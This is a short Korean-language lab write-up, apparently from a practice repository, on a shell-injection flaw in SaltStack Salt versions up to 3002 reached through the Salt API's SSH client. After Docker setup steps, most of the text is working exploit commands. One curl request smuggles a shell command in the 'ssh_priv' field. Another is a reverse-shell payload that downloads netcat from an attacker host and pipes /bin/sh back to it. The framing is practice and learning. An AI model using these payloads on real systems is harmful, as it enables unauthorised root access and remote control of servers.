
취약점 설명: SaltStack Salt 3002까지의 버전에서 문제가 발견되었습니다. SSH 클라이언트가 활성화된 상태에서 Salt API로 조작된 웹 요청을 보내면 셸 주입이 발생할 수 있습니다. 이 취약점에 대한 자세한 내용은 다음에서 확인할 수 있습니다.
연습 및 학습 목적으로 취약한 인스턴스를 만들고 이를 악용하기로 결정했습니다.
취약한 버전: https://github.com/saltstack/salt/releases/tag/v3002
Ubuntu 20.04.03에서 테스트됨
Dockerfile을 사용하여 Docker에 취약한 인스턴스를 생성하세요.
Ubuntu VM에 취약한 인스턴스를 생성하려면 salt_setup.sh를 실행하세요.
docker build -t salt-image .
컨테이너를 실행하고 포트를 노출하세요 (악용하려면 실제로 8080만 필요합니다).
docker run -p4506:4506 -p4505:4505 -p8000:8000 -it salt-image:latest

curl -i $salt_ip_addr:$salt_api_port/run -H "Content-type: application/json" -d '{"client":"ssh","tgt":"A","fun":"B","eauth":"C","ssh_priv":"|id>/tmp/test #"}'

리버스 셸
root@kali:~# curl -i $salt_ip_addr:$salt_api_port/run -H "Content-type: application/json" -d '{"client":"ssh","tgt":"A","fun":"B","eauth":"C","ssh_priv":"| /usr/bin/wget http://$attacker_ip/nc -O /root/nc; chmod +x /root/nc; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|/root/nc $attacker_ip $listener_port >/tmp/f #"}'
